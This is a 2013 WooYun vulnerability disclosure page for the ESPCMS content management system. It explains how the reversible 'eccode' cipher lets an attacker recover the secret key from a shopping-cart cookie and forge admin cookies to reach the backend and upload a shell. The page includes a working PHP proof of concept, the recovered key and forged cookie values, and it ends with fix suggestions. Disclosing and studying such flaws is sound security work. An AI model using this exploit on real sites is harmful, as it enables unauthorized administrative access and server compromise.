当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-034014

漏洞标题:Espcms加密函数缺陷导致getshell

相关厂商:易思ESPCMS企业网站管理系统

漏洞作者: 膜拜hym

提交时间:2013-08-10 09:00

修复时间:2013-11-05 09:01

公开时间:2013-11-05 09:01

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-08-10: 细节已通知厂商并且等待厂商处理中
2013-08-15: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2013-10-09: 细节向核心白帽子及相关领域专家公开
2013-10-19: 细节向普通白帽子公开
2013-10-29: 细节向实习白帽子公开
2013-11-05: 细节向公众公开

简要描述:

espcms的加解密函数设计存在缺陷,可还原key并伪造cookie登陆后台getshell

详细说明:

* 程序的加解密函数存在缺陷,可以通过明文和密文逆向还原密钥
* 后台登陆处没有有效验证cookie有效性导致攻击者可以通过伪造cookie登陆后台
* 后台可以上传shell
下面一步一步来看
首先是加解密函数eccode

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}


可以看到密文是明文与key通过字符ascii相加最后base64编码后得到的,加密时,key由最后一位开始,依次与明文的每一位进行ascii相加,因此用密文和明文相减能得到key,有没有凯撒加密的感觉?
知道原理以后下面开始逆向key:

function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}


好吧,虽然现在理论上可以还原key了,但是还得找到足够长的明文和相对应的密文才可以得到完整的key,毕竟如果明文和密文都没有key长,还原得到的key也是不完整的。
在购物车结算时,程序会把当前物品的价格和折扣变成md5然后加密后放到cookie里,所以我们可以保证推算出最多32位长的key,够了,至于其他的地方不知道可不可以,我没有仔细看。

function in_orderpay() {
parent::start_pagetemplate();
if ($this->CON['order_ismember']) {
parent::member_purview(0, $this->mlink['orderpay']);
}
$lng = (admin_LNG == 'big5') ? $this->CON['is_lancode'] : admin_LNG;
$cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode);
$cartid = stripslashes(htmlspecialchars_decode($cartid));
$uncartid = !empty($cartid) ? unserialize($cartid) : 0;
if ($this->CON['order_ismember']) {
if (!empty($this->ec_member_username_id) && !empty($this->ec_member_username)) {
$rsMember = $this->get_member(null, $this->ec_member_username_id);
} else {
$linkURL = $this->get_link('memberlogin');
$this->callmessage($this->lng['memberloginerr'], $linkURL, $this->lng['memberlogin'], 1, $this->lng['member_regbotton'], 1, $this->mlink['reg']);
}
}
if ($uncartid && is_array($uncartid)) {
$didarray = $this->fun->key_array_name($uncartid, 'did', 'amount', '[0-9]+', '[0-9]+');
$didlist = $this->fun->format_array_text(array_keys($didarray), ',');
if (!empty($didlist)) {
$db_table = db_prefix . 'document';
$db_where = "isclass=1 AND isorder=1 AND did in($didlist) ORDER BY did DESC";
$sql = "SELECT * FROM $db_table WHERE $db_where";
$rs = $this->db->query($sql);
$productmoney = 0;
while ($rsList = $this->db->fetch_assoc($rs)) {
$amount = empty($didarray[$rsList['did']]) ? 1 : intval($didarray[$rsList['did']]);
$rsList['link'] = $this->get_link('doc', $rsList, admin_LNG);
$rsList['buylink'] = $this->get_link('buylink', $rsList, admin_LNG);
$rsList['enqlink'] = $this->get_link('enqlink', $rsList, admin_LNG);
$rsList['dellink'] = $this->get_link('buydel', $rsList, admin_LNG);
$rsList['ctitle'] = empty($rsList['color']) ? $rsList['title'] : "<font color='" . $rsList['color'] . "'>" . $rsList['title'] . "</font>";
$rsList['amount'] = $amount;
$countprice = sprintf("%01.2f", $amount * $rsList['bprice']);
$rsList['countprice'] = $countprice;
$productmoney = $productmoney + $countprice;
$array[] = $rsList;
}
$this->fun->setcookie('ecisp_order_productmoney', $this->fun->eccode($productmoney, 'ENCODE', db_pscode), 7200);
}
$this->pagetemplate->assign('moneytype', $this->CON['order_moneytype']);
$order_discount = $this->CON['order_discount'];
$discountmoney = 0;
if ($order_discount > 0) {
$discountmoney = $productmoney > 0 ? $productmoney - ($order_discount / 100) * $productmoney : 0;
}
$discount_productmoney = $productmoney - $discountmoney;
$order_integral = empty($this->CON['order_integral']) ? 1 : intval($this->CON['order_integral']);
$internum = $discount_productmoney * $order_integral;
$this->pagetemplate->assign('internum', intval($internum));
$payplug = $this->get_payplug_array();
$shipplug = $this->get_shipplug_array();
$cookiceprice = md5("$productmoney|$discount_productmoney");
$this->fun->setcookie('ecisp_order_sncode', $this->fun->eccode($cookiceprice, 'ENCODE', db_pscode));


而被加密的明文就是MD5过后的购物价格,因此可以还原最长32位的key
在经过上面的步骤还原key以后,就可以伪造cookie登陆后台了:

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));
$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;
$this->esp_adminuserid = intval($esp_adminuserid);
$this->esp_inputclassid = intval($esp_inputclassid);
$this->esp_powerid = intval($esp_powerid);
if ($gettype) {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {
if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {
if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else {
if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}


需要cookie中的将esp_powerlist设为all,将ecisp_admininfo设为类似'1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'这样的结构,去登陆后台就可以了,此处应有掌声。

漏洞证明:

首先注册会员购物

1.jpg


折扣前和折扣后的价格都是3200,所以明文是
md5('3200|3200')='38a7a5650e6296b180c88f6592486fbf'
密文通过查看cookie中的ecisp_order_sncode得到:
ecisp_order_sncode=mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50
写了一个poc来还原key:

<?php
function anti_eccode($encrypt, $clear) {
$result = null;
$data = str_replace(array('-', '_'), array('+', '/'), $encrypt);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($clear, $i, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
$result = substr($result, 1, strlen($result) - 1).substr($result, 0, 1);
return $result;
}
function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%', $mcrype = true) {
$result = null;
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}
#明文
$clear = "38a7a5650e6296b180c88f6592486fbf";
#密文
$encrypt = "mHGWbpJsapiRnZhjbG6WlWtnlpxqzG6XbWlsa5ufl50";
#获取key
$mkey = anti_eccode($encrypt, $clear);
print "[*]maybe key is:".$mkey."\n";
#使用者自己根据判断裁剪mkey的长度获取真实的key
print "[*]input key:";
$key = trim(fgets(STDIN));
#构造cookie
$esp_powerlist = eccode('all', 'ENCODE', $key);
$ecisp_admininfo = eccode('1|hym|12345678901234567890123456789012|'.md5('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0').'|1|management|'.md5('http://www.evil.com/espcms/adminsoft'), 'ENCODE', $key);
print "[+]esp_powerlist=$esp_powerlist\n";
print "[+]ecisp_admininfo=$ecisp_admininfo\n";
?>


getkey.jpg


通过检查,发现后面实际是重复的,因此真正的key应该是前面的957174ca8b1384d373d2f8b4783e
key正是"957174ca8b1384d373d2f8b4783e"
然后设置cookie并登陆,浏览器要与poc中设置的浏览器一致,否则会登陆失败

setcookie.jpg


admin.jpg


进入后台后getshell的方法有很多,就不说了。

修复方案:

1.加解密函数的算法强度要增强
2.后台cookie验证处需加强

版权声明:转载请注明来源 膜拜hym@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2013-11-05 09:01

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2013-08-10 09:12 | VIP ( 普通白帽子 | Rank:759 漏洞数:100 )

    mark

  2. 2013-08-10 09:53 | ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)

    有意思

  3. 2013-08-10 16:20 | 78基佬 ( 实习白帽子 | Rank:84 漏洞数:20 | 不会日站的设计师不是好产品经理)

    做代码审计的都注定孤独一生

  4. 2013-08-10 18:48 | Skull ( 实习白帽子 | Rank:95 漏洞数:33 | 菜鸟一枚。)

    mark

  5. 2013-08-10 19:15 | 膜拜hym ( 路人 | Rank:15 漏洞数:2 )

    @78基佬 这算是哪门子的诅咒

  6. 2014-05-06 18:21 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)

    @78基佬 你要不要这样

  7. 2015-09-01 18:19 | Elliott ( 实习白帽子 | Rank:40 漏洞数:9 | 绝逼不当程序员)

    先mark一下 看了这一系列espcms漏洞系列 代码审计知识学习了不少嘿嘿~~~